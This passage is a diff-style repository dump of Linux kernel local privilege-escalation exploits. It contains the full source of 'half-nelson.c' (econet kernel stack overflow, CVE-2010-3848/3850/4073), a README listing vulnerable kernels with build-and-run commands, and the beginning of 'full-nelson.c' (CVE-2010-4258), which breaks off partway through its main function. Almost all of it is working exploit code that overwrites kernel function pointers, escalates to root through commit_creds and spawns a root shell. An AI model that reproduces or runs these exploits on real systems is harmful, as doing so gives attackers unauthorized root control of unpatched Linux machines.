- Debian 6 - Linux 2.6.34-1-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.35-trunk-amd64 x86_64
|
||||
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
|
||||
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64
|
||||
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64
|
||||
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,608 @@
|
|||
/*
|
||||
* half-nelson.c
|
||||
*
|
||||
* Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
|
||||
* Jon Oberheide <jon@oberheide.org>
|
||||
* http://jon.oberheide.org
|
||||
*
|
||||
* Information:
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
|
||||
*
|
||||
* Stack-based buffer overflow in the econet_sendmsg function in
|
||||
* net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
|
||||
* econet address is configured, allows local users to gain privileges by
|
||||
* providing a large number of iovec structures.
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
|
||||
*
|
||||
* The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
|
||||
* before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
|
||||
* allows local users to bypass intended access restrictions and configure
|
||||
* econet addresses via an SIOCSIFADDR ioctl call.
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
|
||||
*
|
||||
* The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
|
||||
* initialize certain structures, which allows local users to obtain
|
||||
* potentially sensitive information from kernel stack memory.
|
||||
*
|
||||
* Usage:
|
||||
*
|
||||
* $ gcc half-nelson.c -o half-nelson -lrt
|
||||
* $ ./half-nelson
|
||||
* [+] looking for symbols...
|
||||
* [+] resolved symbol commit_creds to 0xffffffff81088ad0
|
||||
* [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
|
||||
* [+] resolved symbol ia32_sysret to 0xffffffff81046692
|
||||
* [+] spawning children to achieve adjacent kstacks...
|
||||
* [+] found parent kstack at 0xffff88001c6ca000
|
||||
* [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
|
||||
* [+] lower child spawning a helper...
|
||||
* [+] lower child calling compat_sys_wait4 on helper...
|
||||
* [+] helper going to sleep...
|
||||
* [+] upper child triggering stack overflow...
|
||||
* [+] helper woke up
|
||||
* [+] lower child returned from compat_sys_wait4
|
||||
* [+] parent's restart_block has been clobbered
|
||||
* [+] escalating privileges...
|
||||
* [+] launching root shell!
|
||||
* # id
|
||||
* uid=0(root) gid=0(root)
|
||||
*
|
||||
* Notes:
|
||||
*
|
||||
* This exploit leverages three vulnerabilities to escalate privileges.
|
||||
* The primary vulnerability is a kernel stack overflow, not a stack buffer
|
||||
* overflow as the CVE description incorrectly states. I believe this is the
|
||||
* first public exploit for a kernel stack overflow, and it turns out to be
|
||||
* a bit tricky due to some particulars of the econet vulnerability. A full
|
||||
* breakdown of the exploit is forthcoming.
|
||||
*
|
||||
* Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <syscall.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/sem.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <netinet/in.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#define IOVS 446
|
||||
#define NPROC 1024
|
||||
#define KSTACK_SIZE 8192
|
||||
|
||||
#define KSTACK_UNINIT 0
|
||||
#define KSTACK_UPPER 1
|
||||
#define KSTACK_LOWER 2
|
||||
#define KSTACK_DIE 3
|
||||
#define KSTACK_PARENT 4
|
||||
#define KSTACK_CLOBBER 5
|
||||
|
||||
#define LEAK_BASE 0xffff880000000000
|
||||
#define LEAK_TOP 0xffff8800c0000000
|
||||
#define LEAK_DEPTH 500
|
||||
#define LEAK_OFFSET 32
|
||||
|
||||
#define NR_IPC 0x75
|
||||
#define NR_WAIT4 0x72
|
||||
#define SEMCTL 0x3
|
||||
|
||||
#ifndef PF_ECONET
|
||||
#define PF_ECONET 19
|
||||
#endif
|
||||
|
||||
#define STACK_OFFSET 6
|
||||
#define RESTART_OFFSET 40
|
||||
|
||||
struct ec_addr {
|
||||
unsigned char station;
|
||||
unsigned char net;
|
||||
};
|
||||
|
||||
struct sockaddr_ec {
|
||||
unsigned short sec_family;
|
||||
unsigned char port;
|
||||
unsigned char cb;
|
||||
unsigned char type;
|
||||
struct ec_addr addr;
|
||||
unsigned long cookie;
|
||||
};
|
||||
|
||||
struct ipc64_perm {
|
||||
uint32_t key;
|
||||
uint32_t uid;
|
||||
uint32_t gid;
|
||||
uint32_t cuid;
|
||||
uint32_t cgid;
|
||||
uint32_t mode;
|
||||
uint16_t seq;
|
||||
uint16_t __pad2;
|
||||
unsigned long __unused1;
|
||||
unsigned long __unused2;
|
||||
};
|
||||
|
||||
struct semid64_ds {
|
||||
struct ipc64_perm sem_perm;
|
||||
unsigned long sem_otime;
|
||||
unsigned long __unused1;
|
||||
unsigned long sem_ctime;
|
||||
unsigned long __unused;
|
||||
unsigned long sem_nsems;
|
||||
unsigned long __unused3;
|
||||
unsigned long __unused4;
|
||||
};
|
||||
|
||||
union semun {
|
||||
int val;
|
||||
struct semid_ds *buf;
|
||||
unsigned short *array;
|
||||
struct seminfo *__buf;
|
||||
};
|
||||
|
||||
struct region {
|
||||
unsigned long parent;
|
||||
unsigned long addrs[NPROC];
|
||||
};
|
||||
struct region *region;
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
unsigned long ia32_sysret;
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
kernel_code(void)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
}
|
||||
|
||||
void
|
||||
payload_parent(void)
|
||||
{
|
||||
asm volatile (
|
||||
"mov $kernel_code, %rax\n"
|
||||
"call *%rax\n"
|
||||
);
|
||||
}
|
||||
|
||||
void
|
||||
payload_child(void)
|
||||
{
|
||||
asm volatile (
|
||||
"movq $payload_parent, (%0)\n"
|
||||
"jmpq *%1\n"
|
||||
:
|
||||
: "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
|
||||
);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_kstack(void)
|
||||
{
|
||||
int i, size, offset;
|
||||
union semun *arg;
|
||||
struct semid_ds dummy;
|
||||
struct semid64_ds *leaked;
|
||||
char *stack_start, *stack_end;
|
||||
unsigned char *p;
|
||||
unsigned long kstack, *ptr;
|
||||
|
||||
/* make sure our argument is 32-bit accessible */
|
||||
arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
|
||||
if (arg == MAP_FAILED) {
|
||||
printf("[-] failure mapping memory, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* map a fake stack to use during syscall */
|
||||
stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
|
||||
if (stack_start == MAP_FAILED) {
|
||||
printf("[-] failure mapping memory, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
stack_end = stack_start + 4096;
|
||||
|
||||
memset(arg, 0, sizeof(union semun));
|
||||
memset(&dummy, 0, sizeof(struct semid_ds));
|
||||
arg->buf = &dummy;
|
||||
|
||||
/* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
|
||||
asm volatile (
|
||||
"push %%rax\n"
|
||||
"push %%rbx\n"
|
||||
"push %%rcx\n"
|
||||
"push %%rdx\n"
|
||||
"push %%rsi\n"
|
||||
"push %%rdi\n"
|
||||
"movl %0, %%eax\n"
|
||||
"movl %1, %%ebx\n"
|
||||
"movl %2, %%ecx\n"
|
||||
"movl %3, %%edx\n"
|
||||
"movl %4, %%esi\n"
|
||||
"movq %5, %%rdi\n"
|
||||
"movq %%rsp, %%r8\n"
|
||||
"movq %6, %%rsp\n"
|
||||
"push %%r8\n"
|
||||
"int $0x80\n"
|
||||
"pop %%r8\n"
|
||||
"movq %%r8, %%rsp\n"
|
||||
"pop %%rdi\n"
|
||||
"pop %%rsi\n"
|
||||
"pop %%rdx\n"
|
||||
"pop %%rcx\n"
|
||||
"pop %%rbx\n"
|
||||
"pop %%rax\n"
|
||||
:
|
||||
: "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
|
||||
: "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
|
||||
);
|
||||
|
||||
/* naively extract a pointer to the kstack from the kstack */
|
||||
p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
|
||||
kstack = *(unsigned long *) p;
|
||||
|
||||
if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
|
||||
printf("[-] failed to leak a suitable kstack address, try again!\n");
|
||||
exit(1);
|
||||
}
|
||||
if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
|
||||
printf("[-] failed to leak a suitable kstack address, try again!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
kstack = kstack & ~0x1fff;
|
||||
|
||||
return kstack;
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy, sym[512];
|
||||
int ret = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (!f) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sym);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sym)) {
|
||||
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int
|
||||
get_adjacent_kstacks(void)
|
||||
{
|
||||
int i, ret, shm, pid, type;
|
||||
|
||||
/* create shared communication channel between parent and its children */
|
||||
shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
if (shm < 0) {
|
||||
printf("[-] failed creating shared memory, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ret = ftruncate(shm, sizeof(struct region));
|
||||
if (ret != 0) {
|
||||
printf("[-] failed resizing shared memory, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
|
||||
memset(region, KSTACK_UNINIT, sizeof(struct region));
|
||||
|
||||
/* parent kstack self-discovery */
|
||||
region->parent = get_kstack();
|
||||
|
||||
printf("[+] found parent kstack at 0x%lx\n", region->parent);
|
||||
|
||||
/* fork and discover children with adjacently-allocated kernel stacks */
|
||||
for (i = 0; i < NPROC; ++i) {
|
||||
pid = fork();
|
||||
|
||||
if (pid > 0) {
|
||||
type = KSTACK_PARENT;
|
||||
continue;
|
||||
} else if (pid == 0) {
|
||||
/* children do kstack self-discovery */
|
||||
region->addrs[i] = get_kstack();
|
||||
|
||||
/* children sleep until parent has found adjacent children */
|
||||
while (1) {
|
||||
sleep(1);
|
||||
if (region->addrs[i] == KSTACK_DIE) {
|
||||
/* parent doesn't need us :-( */
|
||||
exit(0);
|
||||
} else if (region->addrs[i] == KSTACK_UPPER) {
|
||||
/* we're the upper adjacent process */
|
||||
type = KSTACK_UPPER;
|
||||
break;
|
||||
} else if (region->addrs[i] == KSTACK_LOWER) {
|
||||
/* we're the lower adjacent process */
|
||||
type = KSTACK_LOWER;
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
} else {
|
||||
printf("[-] fork failed, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
return type;
|
||||
}
|
||||
|
||||
void
|
||||
do_parent(void)
|
||||
{
|
||||
int i, j, upper, lower;
|
||||
|
||||
/* parent sleeps until we've discovered all the child kstacks */
|
||||
while (1) {
|
||||
sleep(1);
|
||||
for (i = 0; i < NPROC; ++i) {
|
||||
if (region->addrs[i] == KSTACK_UNINIT) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (i == NPROC) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* figure out if we have any adjacent child kstacks */
|
||||
for (i = 0; i < NPROC; ++i) {
|
||||
for (j = 0; j < NPROC; ++j) {
|
||||
if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (j != NPROC) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (i == NPROC && j == NPROC) {
|
||||
printf("[-] failed to find adjacent kstacks, try again!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
upper = i;
|
||||
lower = j;
|
||||
|
||||
printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);
|
||||
|
||||
/* signal to non-adjacent children to die */
|
||||
for (i = 0; i < NPROC; ++i) {
|
||||
if (i != upper && i != lower) {
|
||||
region->addrs[i] = KSTACK_DIE;
|
||||
}
|
||||
}
|
||||
|
||||
/* signal adjacent children to continue on */
|
||||
region->addrs[upper] = KSTACK_UPPER;
|
||||
region->addrs[lower] = KSTACK_LOWER;
|
||||
|
||||
/* parent sleeps until child has clobbered the fptr */
|
||||
while (1) {
|
||||
sleep(1);
|
||||
if (region->parent == KSTACK_CLOBBER) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[+] escalating privileges...\n");
|
||||
|
||||
/* trigger our clobbered fptr */
|
||||
syscall(__NR_restart_syscall);
|
||||
|
||||
/* our privileges should be escalated now */
|
||||
if (getuid() != 0) {
|
||||
printf("[-] privilege escalation failed, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] launching root shell!\n");
|
||||
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
}
|
||||
|
||||
void
|
||||
do_child_upper(void)
|
||||
{
|
||||
int i, ret, eco_sock;
|
||||
struct sockaddr_ec eco_addr;
|
||||
struct msghdr eco_msg;
|
||||
struct iovec iovs[IOVS];
|
||||
struct ifreq ifr;
|
||||
char *target;
|
||||
|
||||
/* calculate payload target, skip prologue */
|
||||
target = (char *) payload_child;
|
||||
target += 4;
|
||||
|
||||
/* give lower child a chance to enter its wait4 call */
|
||||
sleep(1);
|
||||
|
||||
/* write some zeros */
|
||||
for (i = 0; i < STACK_OFFSET; ++i) {
|
||||
iovs[i].iov_base = (void *) 0x0;
|
||||
iovs[i].iov_len = 0;
|
||||
}
|
||||
|
||||
/* overwrite saved ia32_sysret address on stack */
|
||||
iovs[STACK_OFFSET].iov_base = (void *) target;
|
||||
iovs[STACK_OFFSET].iov_len = 0x0246;
|
||||
|
||||
/* force abort via EFAULT */
|
||||
for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
|
||||
iovs[i].iov_base = (void *) 0xffffffff00000000;
|
||||
iovs[i].iov_len = 0;
|
||||
}
|
||||
|
||||
/* create econet socket */
|
||||
eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
|
||||
if (eco_sock < 0) {
|
||||
printf("[-] failed creating econet socket, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strcpy(ifr.ifr_name, "lo");
|
||||
|
||||
/* trick econet into associated with the loopback */
|
||||
ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
|
||||
if (ret != 0) {
|
||||
printf("[-] failed setting interface address, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memset(&eco_addr, 0, sizeof(eco_addr));
|
||||
memset(&eco_msg, 0, sizeof(eco_msg));
|
||||
eco_msg.msg_name = &eco_addr;
|
||||
eco_msg.msg_namelen = sizeof(eco_addr);
|
||||
eco_msg.msg_flags = 0;
|
||||
eco_msg.msg_iov = &iovs[0];
|
||||
eco_msg.msg_iovlen = IOVS;
|
||||
|
||||
printf("[+] upper child triggering stack overflow...\n");
|
||||
|
||||
/* trigger the kstack overflow into lower child's kstack */
|
||||
ret = sendmsg(eco_sock, &eco_msg, 0);
|
||||
if (ret != -1 || errno != EFAULT) {
|
||||
printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
close(eco_sock);
|
||||
}
|
||||
|
||||
void
|
||||
do_child_lower(void)
|
||||
{
|
||||
int pid;
|
||||
|
||||
printf("[+] lower child spawning a helper...\n");
|
||||
|
||||
/* fork off a helper to wait4 on */
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
printf("[+] helper going to sleep...\n");
|
||||
sleep(5);
|
||||
printf("[+] helper woke up\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] lower child calling compat_sys_wait4 on helper...\n");
|
||||
|
||||
/* syscall(NR_WAIT4, pid, 0, 0, 0) */
|
||||
asm volatile (
|
||||
"push %%rax\n"
|
||||
"push %%rbx\n"
|
||||
"push %%rcx\n"
|
||||
"push %%rdx\n"
|
||||
"push %%rsi\n"
|
||||
"movl %0, %%eax\n"
|
||||
"movl %1, %%ebx\n"
|
||||
"movl %2, %%ecx\n"
|
||||
"movl %3, %%edx\n"
|
||||
"movl %4, %%esi\n"
|
||||
"int $0x80\n"
|
||||
"pop %%rsi\n"
|
||||
"pop %%rdx\n"
|
||||
"pop %%rcx\n"
|
||||
"pop %%rbx\n"
|
||||
"pop %%rax\n"
|
||||
:
|
||||
: "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
|
||||
: "memory", "rax", "rbx", "rcx", "rdx", "rsi"
|
||||
);
|
||||
|
||||
printf("[+] lower child returned from compat_sys_wait4\n");
|
||||
|
||||
printf("[+] parent's restart_block has been clobbered\n");
|
||||
|
||||
/* signal parent that our fptr should now be clobbered */
|
||||
region->parent = KSTACK_CLOBBER;
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int type;
|
||||
|
||||
if (sizeof(unsigned long) != 8) {
|
||||
printf("[-] x86_64 only, sorry!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] looking for symbols...\n");
|
||||
|
||||
commit_creds = (_commit_creds) get_symbol("commit_creds");
|
||||
if (!commit_creds) {
|
||||
printf("[-] symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
|
||||
if (!prepare_kernel_cred) {
|
||||
printf("[-] symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ia32_sysret = get_symbol("ia32_sysret");
|
||||
if (!ia32_sysret) {
|
||||
printf("[-] symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] spawning children to achieve adjacent kstacks...\n");
|
||||
|
||||
type = get_adjacent_kstacks();
|
||||
|
||||
if (type == KSTACK_PARENT) {
|
||||
do_parent();
|
||||
} else if (type == KSTACK_UPPER) {
|
||||
do_child_upper();
|
||||
} else if (type == KSTACK_LOWER) {
|
||||
do_child_lower();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
# CVE-2010-4073
|
||||
|
||||
CVE-2010-4073
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-4073](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4073)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/17787/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc half-nelson.c -o half-nelson -lrt
|
||||
$ ./half-nelson
|
||||
```
|
||||
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 10.04 - Linux ubuntu 2.6.32-21-server #32-Ubuntu x86_64
|
||||
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64
|
||||
|
||||
|
||||
|
||||
|
Binary file not shown.
|
@ -0,0 +1,278 @@
|
|||
/*
|
||||
* Linux Kernel <= 2.6.37 local privilege escalation
|
||||
* by Dan Rosenberg
|
||||
* @djrbliss on twitter
|
||||
*
|
||||
* Usage:
|
||||
* gcc full-nelson.c -o full-nelson
|
||||
* ./full-nelson
|
||||
*
|
||||
* This exploit leverages three vulnerabilities to get root, all of which were
|
||||
* discovered by Nelson Elhage:
|
||||
*
|
||||
* CVE-2010-4258
|
||||
* -------------
|
||||
* This is the interesting one, and the reason I wrote this exploit. If a
|
||||
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
|
||||
* word will be written to a user-specified pointer when that thread exits.
|
||||
* This write is done using put_user(), which ensures the provided destination
|
||||
* resides in valid userspace by invoking access_ok(). However, Nelson
|
||||
* discovered that when the kernel performs an address limit override via
|
||||
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
|
||||
* etc.), this override is not reverted before calling put_user() in the exit
|
||||
* path, allowing a user to write a NULL word to an arbitrary kernel address.
|
||||
* Note that this issue requires an additional vulnerability to trigger.
|
||||
*
|
||||
* CVE-2010-3849
|
||||
* -------------
|
||||
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
|
||||
* fairly benign as a local denial-of-service. It's a perfect candidate to
|
||||
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
|
||||
* subsequently calls sendmsg under KERNEL_DS.
|
||||
*
|
||||
* CVE-2010-3850
|
||||
* -------------
|
||||
* I wouldn't be able to reach the NULL pointer dereference and trigger the
|
||||
* OOPS if users weren't able to assign Econet addresses to arbitrary
|
||||
* interfaces due to a missing capabilities check.
|
||||
*
|
||||
* In the interest of public safety, this exploit was specifically designed to
|
||||
* be limited:
|
||||
*
|
||||
* * The particular symbols I resolve are not exported on Slackware or Debian
|
||||
* * Red Hat does not support Econet by default
|
||||
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
|
||||
* Debian
|
||||
*
|
||||
* However, the important issue, CVE-2010-4258, affects everyone, and it would
|
||||
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
|
||||
* more sophisticated version of this that doesn't have the roadblocks I put in
|
||||
* to prevent abuse by script kiddies.
|
||||
*
|
||||
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
|
||||
*
|
||||
* NOTE: the exploit process will deadlock and stay in a zombie state after you
|
||||
* exit your root shell because the Econet thread OOPSes while holding the
|
||||
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
|
||||
*
|
||||
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
|
||||
*/
|
||||
|
||||
// EDB-Note: You may need to add '#define _GNU_SOURCE' to compile in later versions
|
||||
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <net/if.h>
|
||||
#include <sched.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* How many bytes should we clear in our
|
||||
* function pointer to put it into userspace? */
|
||||
#ifdef __x86_64__
|
||||
#define SHIFT 24
|
||||
#define OFFSET 3
|
||||
#else
|
||||
#define SHIFT 8
|
||||
#define OFFSET 1
|
||||
#endif
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
|
||||
"");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* Why do I do this? Because on x86-64, the address of
|
||||
* commit_creds and prepare_kernel_cred are loaded relative
|
||||
* to rip, which means I can't just copy the above payload
|
||||
* into my landing area. */
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
|
||||
#ifdef __x86_64__
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
#else
|
||||
asm("mov $getroot, %eax; call *%eax;");
|
||||
#endif
|
||||
|
||||
}
|
||||
|
||||
/* Triggers a NULL pointer dereference in econet_sendmsg
|
||||
* via sock_no_sendpage, so it's under KERNEL_DS */
|
||||
int trigger(int * fildes)
|
||||
{
|
||||
int ret;
|
||||
struct ifreq ifr;
|
||||
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
|
||||
|
||||
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Failed to set Econet address.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
|
||||
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
|
||||
|
||||
/* Shouldn't get here... */
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long econet_ops, econet_ioctl, target, landing;
|
||||
int fildes[4], pid;
|
||||
void * newstack, * payload;
|
||||
|
||||
/* Create file descriptors now so there are two
|
||||
references to them after cloning...otherwise
|
||||
the child will never return because it
|
||||
deadlocks when trying to unlock various
|
||||
mutexes after OOPSing */
|
||||
pipe(fildes);
|
||||
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
|
||||
fildes[3] = open("/dev/zero", O_RDONLY);
|
||||
|
||||
if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
|
||||
printf("[*] Failed to open file descriptors.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
